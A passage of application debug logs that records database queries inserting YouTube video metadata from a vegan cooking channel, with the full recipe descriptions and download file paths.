2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nA few recipes from this video 😊⬇️\n\nBroccoli Chickpea Casserole\n\n1 can coconut milk\n1½ cups water\n4 tbsp cornstarch \n⅓ cup nutritional yeast\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper to taste\nHeaping ⅓ cup quinoa, rinsed\n18 oz broccoli florets\n⅓ cup green onions, chopped \n3 cups canned chickpeas, drained and rinsed\nHeaping ½ cup gluten-free bread crumbs\n\n9 x 13 casserole dish\n\n1. Preheat oven to 375F\n2. In a medium sized mixing bowl whisk together the coconut milk, water, cornstarch, nutritional yeast, garlic and onion powder, salt and pepper until its thick liquid with no chunks of cornstarch and spices remaining. \n3. Into the casserole dish add the broccoli florets, green onions and chickpeas, then pour the liquid over top. Then evenly sprinkle the quinoa on top and mix everything together.\n4. Bake uncovered for 20 minutes. Quickly and carefully remove from the oven and mix everything once more, as the quinoa likely will have settled to the bottom. Return to the oven and continue baking for 15 minutes more.\n5. After the 15 minutes is up, remove the dish from the oven once more, and sprinkle over the breadcrumbs on top in an even layer. Return to oven to bake for 10 minutes to allow the breadcrumbs to become golden.\n6. Once removed from oven (for the last time!) let stand for 10 minutes, then serve\n\n\nBaked ‘Fried’ Rice\n1½ cups jasmine rice\n2 cups veg broth\n2 tbsp soy sauce\n2 tbsp mirin\n1 tbsp garlic powder\n¾ tsp Chinese 5 spice\n1½ cups frozen peas carrots\n1 cup frozen edamame\n1 batch tofu scramble\nBlack pepper to taste\nChopped green onion for garnish\n1 tsp roasted sesame oil, for serving (optional)\n\n9x13 casserole dish\n\n1. Preheat oven to 400F\n2. Mix together all ingredients in the casserole dish except the green onions and sesame oil. Press the rice underneath the liquid, cover with foil or lid and bake for 40 mins.\n3. Check rice for doneness, if al dente cover again and bake for 5 to 7 minutes more.\n4. Remove from oven, uncover and let stand for 5 minutes. Serve in bowls, garnish with sesame oil and chopped green onion and enjoy\n\n\nSoy Curl ’Steak’ Strips\n1 bag soy curls, rehydrated \nSTEAK SPICE\n2 tbsp whole peppercorns, crushed\n2 tbsp smoked paprika\n1 tbsp pink Himalayan salt\n1 tbsp garlic powder\n1 tbsp dried onion flakes\n1 tbsp crushed coriander seeds\n2 tsp crushed red chili flakes\n2 tsp ground cumin\n2 tsp dried thyme\nMARINADE (combine all ingredients in bowl)\n3 tbsp soy sauce\n3 tbsp avocado oil\n3 tbsp lemon juice\n2 tbsp vegan Worcestershire sauce\n¾ cup veggie broth\n2 tbsp steak seasoning \n\nMarinate the soy curls for at least 30 minutes and up to overnight. Pan fry for 20 minutes, stirring and flipping the pieces over occasionally until browning and golden and no more liquid remained in the pan.\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "*REALISTIC* What I Eat in a Week | High-Protein, Vegan, Gluten Free Meals", "51837a7b-3e37-43d1-8c1c-b2b41efdf4e4", 1, [], false, "aFPQAUgtJzY", "https://www.youtube.com/watch?v=aFPQAUgtJzY", 222, "/downloads/downloads/alec/Steamy Vegan/2024-02-05 *REALISTIC* What I Eat in a Week | High-Protein, Vegan, Gluten Free Meals/*REALISTIC* What I Eat in a Week | High-Protein, Vegan, Gluten Free Meals [aFPQAUgtJzY].NA", false, false, false, 1, ~U[2024-02-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\nWant to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nI love the strawberries and cream flavour or the mocha!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nA few recipes from this video 😊⬇️\n\nBroccoli Chickpea Casserole\n\n1 can coconut milk\n1½ cups water\n4 tbsp cornstarch \n⅓ cup nutritional yeast\n1 tsp garlic powder\n1 tsp onion powder\nSalt and pepper to taste\nHeaping ⅓ cup quinoa, rinsed\n18 oz broccoli florets\n⅓ cup green onions, chopped \n3 cups canned chickpeas, drained and rinsed\nHeaping ½ cup gluten-free bread crumbs\n\n9 x 13 casserole dish\n\n1. Preheat oven to 375F\n2. In a medium sized mixing bowl whisk together the coconut milk, water, cornstarch, nutritional yeast, garlic and onion powder, salt and pepper until its thick liquid with no chunks of cornstarch and spices remaining. \n3. Into the casserole dish add the broccoli florets, green onions and chickpeas, then pour the liquid over top. Then evenly sprinkle the quinoa on top and mix everything together.\n4. Bake uncovered for 20 minutes. Quickly and carefully remove from the oven and mix everything once more, as the quinoa likely will have settled to the bottom. Return to the oven and continue baking for 15 minutes more.\n5. After the 15 minutes is up, remove the dish from the oven once more, and sprinkle over the breadcrumbs on top in an even layer. Return to oven to bake for 10 minutes to allow the breadcrumbs to become golden.\n6. Once removed from oven (for the last time!) let stand for 10 minutes, then serve\n\n\nBaked (truncated) 20:31:07.733 [debug] QUERY OK source="sources" db=0.9ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.737 [debug] QUERY OK source="media_items" db=3.3ms queue=0.5ms idle=9.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-01 00:00:00Z], 1] 20:31:07.742 [debug] QUERY OK source="media_items" db=3.7ms idle=12.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Learn how to make 3 high-protein spreads using healthy, high-protein and plant-based ingredients! \n\nLooking for more high-protein, healthy and gluten-free recipes? Check out this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nBlack Bean Beet Dip\n1 cooked beet, skin removed, quartered\n2 cloves garlic, halved\n1½ cup cooked black beans, drained and rinsed \n¼ cup tahini\n2 tbsp lemon juice (approx half a lemon)\n1 tbsp balsamic vinegar\n1 tsp ground sumac\n1 tsp cumin\n½ tsp salt\n\nAdd all ingredients to a food processor and blend on high-speed for 30 to 60 seconds or until it's smooth and creamy. Serve chilled and garnish with extra balsamic vinegar, chopped herbs and sesame seeds. Enjoy!\n\nTofu Ricotta\n1 block extra firm tofu\n2 tbsp nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil (optional, sub more plant milk)\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n2 to 3 tbsp or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n\nGreen Chickpea Hummus\n3 cups green chickpeas\nhalf an avocado\n1 or 2 cloves garlic\n3 tbsp tahini\n2 tbsp lemon juice\n1 tbsp pickled jalapenos\n1 tsp cumin\n½ tsp salt\n\nAdd all ingredients to a food processor and blend on high-speed for 30 to 60 seconds or until it's smooth and creamy. Serve chilled and garnish with chopped fresh herbs, bell peppers, red chili flakes and extra green chickpeas. Enjoy!\n\n\nWant to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n1:10 - Black Bean Beet Dip\n3:16 - Tofu Ricotta/Cream Cheese\n5:18 - Green Chickpea Hummus", "3 High-Protein Spreads Every Vegan Should Know How to Make!", "1166bc72-b831-4783-a1ce-c9507529fb35", 1, [], false, "2C6Abdxh4fI", "https://www.youtube.com/watch?v=2C6Abdxh4fI", 223, "/downloads/downloads/alec/Steamy Vegan/2024-02-01 3 High-Protein Spreads Every Vegan Should Know How to Make!/3 High-Protein Spreads Every Vegan Should Know How to Make! [2C6Abdxh4fI].NA", false, false, false, 1, ~U[2024-02-01 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Learn how to make 3 high-protein spreads using healthy, high-protein and plant-based ingredients! \n\nLooking for more high-protein, healthy and gluten-free recipes? Check out this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nBlack Bean Beet Dip\n1 cooked beet, skin removed, quartered\n2 cloves garlic, halved\n1½ cup cooked black beans, drained and rinsed \n¼ cup tahini\n2 tbsp lemon juice (approx half a lemon)\n1 tbsp balsamic vinegar\n1 tsp ground sumac\n1 tsp cumin\n½ tsp salt\n\nAdd all ingredients to a food processor and blend on high-speed for 30 to 60 seconds or until it's smooth and creamy. Serve chilled and garnish with extra balsamic vinegar, chopped herbs and sesame seeds. Enjoy!\n\nTofu Ricotta\n1 block extra firm tofu\n2 tbsp nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil (optional, sub more plant milk)\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n2 to 3 tbsp or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n\nGreen Chickpea Hummus\n3 cups green chickpeas\nhalf an avocado\n1 or 2 cloves garlic\n3 tbsp tahini\n2 tbsp lemon juice\n1 tbsp pickled jalapenos\n1 tsp cumin\n½ tsp salt\n\nAdd all ingredients to a food processor and blend on high-speed for 30 to 60 seconds or until it's smooth and creamy. Serve chilled and garnish with chopped fresh herbs, bell peppers, red chili flakes and extra green chickpeas. Enjoy!\n\n\nWant to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n1:10 - Black Bean Beet Dip\n3:16 - Tofu Ricotta/Cream Cheese\n5:18 - Green Chickpea Hummus", "3 High-Protein Spreads Every Vegan Should Know How to Make!", 1, nil, false, "2C6Abdxh4fI", "https://www.youtube.com/watch?v=2C6Abdxh4fI", "/downloads/downloads/alec/Steamy Vegan/2024-02-01 3 High-Protein Spreads Every Vegan Should Know How to Make!/3 High-Protein Spreads Every Vegan Should Know How to Make! [2C6Abdxh4fI].NA", false, ~U[2024-02-01 00:00:00Z]] 20:31:07.743 [debug] QUERY OK source="sources" db=0.8ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.746 [debug] QUERY OK source="media_items" db=3.3ms idle=11.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-29 00:00:00Z], 1] 20:31:07.748 [debug] QUERY OK source="media_items" db=1.0ms idle=13.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!)", "d68ac22a-2559-402e-a66e-642a66cba641", 1, [], false, "Oj9KnnJejFQ", "https://www.youtube.com/watch?v=Oj9KnnJejFQ", 224, "/downloads/downloads/alec/Steamy Vegan/2024-01-29 WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!)/WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!) [Oj9KnnJejFQ].NA", false, false, false, 1, ~U[2024-01-29 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!)", 1, nil, false, "Oj9KnnJejFQ", "https://www.youtube.com/watch?v=Oj9KnnJejFQ", "/downloads/downloads/alec/Steamy Vegan/2024-01-29 WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!)/WHAT I EAT IN A WEEK | High Protein Vegan Meals (Gluten-Free Recipes!) [Oj9KnnJejFQ].NA", false, ~U[2024-01-29 00:00:00Z]] 20:31:07.749 [debug] QUERY OK source="sources" db=0.4ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.751 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-25 00:00:00Z], 1] 20:31:07.753 [debug] QUERY OK source="media_items" db=2.0ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I eat these tofu recipes on the regular (basically every week for the past 7 years as a vegan!) Learn my 6 favorite ways to cook tofu in this episode with my easy to follow step-by-step recipes. Hope you enjoy these vegan and gluten-free recipes and if you want more like this then please subscribe!\n\nLooking for more healthy, high-protein, gluten-free recipes? Check out this playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nTERIYAKI TOFU\n1 block firm tofu, pressed\nTofu Marinade\n2 tbsp gluten-free soy sauce or tamari\n2 tbsp sesame oil\n2 tbsp maple syrup\ndash cayenne pepper\n\n1. In a small jar combine all the sauce ingredients, seal and shake until well combined. \n2. In a sealable food storage bag arrange the tofu slices so they are laying flat. Pour in the marinade, seal the bag. Turn and massage the bag until each piece of tofu has been covered, and place in the fridge for 20 minutes minimum up to overnight. The longer it sits the better!\nAdd the marinated tofu to a parchment lined baking tray and bake for 40 minutes at 425°F until golden, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own!\n\nCRISPY BAKED TOFU\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve and enjoy!\n\nCRISPY SHREDDED TOFU\n1 block extra firm tofu, shredded\n1 tsp avocado oil\n½ tsp chipotle powder\n2 tsp smoked paprika\n\n1. Shred half a block of tofu and place in a separate mixing bowl with avocado oil, spices and salt. Mix to combine. Spread in even layer in airfryer basket and airfare for 15 to 18 minutes at 400F until golden and crispy.\n\nTOFU BACON BITS\n1 block extra firm tofu\n’BACON’ SAUCE\n1/4 cup Tamari or gluten-free soy sauce\n1/4 cup tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2 tablespoons olive oil (or avocado oil)\n1 teaspoon garlic powder\n1 tbsp maple syrup\n1 tablespoon liquid smoke\n\n1. Preheat oven to 425°F (or air fryer to 410°F) and line a baking tray with foil.\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu into the sauce until each piece is coated.\n3. Spray the foil-lined baking tray with cooking oil and drop the tofu bits onto the tray, leaving a little bit of space between each piece to ensure they get crispy. Bake 30 minutes until crispy and slightly charred, flipping halfway through cook time.\n\nTOFU EGG SALAD\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nTOFU SCRAMBLE\n1 block medium-firm tofu, not pressed\n1 tbsp oil\n1 tsp garlic powder\n¼ tsp turmeric powder\n½ tsp kala namak (black salt)\n¼ tsp black pepper\n¼ cup unsweetened plant milk\n2 tbsp nutritional yeast\n½ cup vegan shredded cheddar (optional)\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the block of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring fre" <> ..., "How to Cook Tofu! EASY Tofu Recipes I Eat in a Week", "49402132-cc17-4a77-9051-9e7b5a54b13e", 1, [], false, "uJ_sfLkK8oI", "https://www.youtube.com/watch?v=uJ_sfLkK8oI", 225, "/downloads/downloads/alec/Steamy Vegan/2024-01-25 How to Cook Tofu! EASY Tofu Recipes I Eat in a Week/How to Cook Tofu! EASY Tofu Recipes I Eat in a Week [uJ_sfLkK8oI].NA", false, false, false, 1, ~U[2024-01-25 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I eat these tofu recipes on the regular (basically every week for the past 7 years as a vegan!) Learn my 6 favorite ways to cook tofu in this episode with my easy to follow step-by-step recipes. Hope you enjoy these vegan and gluten-free recipes and if you want more like this then please subscribe!\n\nLooking for more healthy, high-protein, gluten-free recipes? Check out this playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nTERIYAKI TOFU\n1 block firm tofu, pressed\nTofu Marinade\n2 tbsp gluten-free soy sauce or tamari\n2 tbsp sesame oil\n2 tbsp maple syrup\ndash cayenne pepper\n\n1. In a small jar combine all the sauce ingredients, seal and shake until well combined. \n2. In a sealable food storage bag arrange the tofu slices so they are laying flat. Pour in the marinade, seal the bag. Turn and massage the bag until each piece of tofu has been covered, and place in the fridge for 20 minutes minimum up to overnight. The longer it sits the better!\nAdd the marinated tofu to a parchment lined baking tray and bake for 40 minutes at 425°F until golden, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own!\n\nCRISPY BAKED TOFU\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve and enjoy!\n\nCRISPY SHREDDED TOFU\n1 block extra firm tofu, shredded\n1 tsp avocado oil\n½ tsp chipotle powder\n2 tsp smoked paprika\n\n1. Shred half a block of tofu and place in a separate mixing bowl with avocado oil, spices and salt. Mix to combine. Spread in even layer in airfryer basket and airfare for 15 to 18 minutes at 400F until golden and crispy.\n\nTOFU BACON BITS\n1 block extra firm tofu\n’BACON’ SAUCE\n1/4 cup Tamari or gluten-free soy sauce\n1/4 cup tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2 tablespoons olive oil (or avocado oil)\n1 teaspoon garlic powder\n1 tbsp maple syrup\n1 tablespoon liquid smoke\n\n1. Preheat oven to 425°F (or air fryer to 410°F) and line a baking tray with foil.\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu (truncated) 20:31:07.754 [debug] QUERY OK source="sources" db=0.7ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.757 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-23 00:00:00Z], 1] 20:31:07.759 [debug] QUERY OK source="media_items" db=1.4ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING 